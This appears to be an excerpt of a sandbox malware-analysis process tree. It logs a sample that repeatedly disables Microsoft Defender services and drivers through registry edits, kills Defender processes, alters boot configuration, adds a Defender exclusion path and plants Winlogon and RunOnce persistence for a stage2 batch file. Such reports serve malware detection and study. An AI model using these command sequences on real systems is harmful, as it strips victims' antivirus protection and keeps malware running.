  "cmd" /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5172
- C:\Windows\system32\bcdedit.exe
  "bcdedit" /enum {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4620
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4940
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:820
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3012
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5056
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5624
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3944
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4468
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2368
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1668
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1488
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\ProgramData\Microsoft\WinSvc\stage2.bat, /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4904
- C:\Windows\system32\reg.exe
  "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *ZZWinSvcSafe /t REG_SZ /d C:\ProgramData\Microsoft\WinSvc\stage2.bat /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2824
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:1456
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:2936
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:5116
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:904
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1112
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3728
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4104
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4852
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3820
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5664
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4920
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3844
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4348
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1448
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5532
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4256
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:5228
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:5348
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:3252
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1748
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2372
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4672
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5872
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3412
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4712
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4556
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5252
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2468
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5628
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1516
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3668
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:548
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5740
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1076
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3576
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- C:\Windows\system32\cmd.exe
  "cmd" /c "powershell -NoProfile -c Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\WinSvc'"
  2⤵
  PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -c Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\WinSvc'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4960
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:5128
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:668
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:2312
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:1124
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4532
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3612
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6000
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6112
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1384
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6124
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6140
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1408
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4324
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2376
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:4312
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:4356
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5644
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:4092
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:3304
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:984
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5260
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3924
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5420
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5932
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1204
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3928
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5396
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:960
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3396
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5908
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:252
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1168
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1460
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:4888
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:4672
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:3008
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:3028
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3328
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5936
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1652
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1524
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2800
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5332
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3104
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5168
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3920
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1076
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1808
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:1572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:5688
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1852
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:4220
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4700
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:2220
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5888
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4776
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3196
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4636
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2676
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6012
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2156
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:6028
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6124
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1744
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5784
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:956
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:1580
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5076
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:5576
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4744
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  PID:3256
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5940
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5256
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2364
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5420
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1804
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1204
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:248
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5396
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4452
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1512
- C:\Windows\system32\cmd.exe
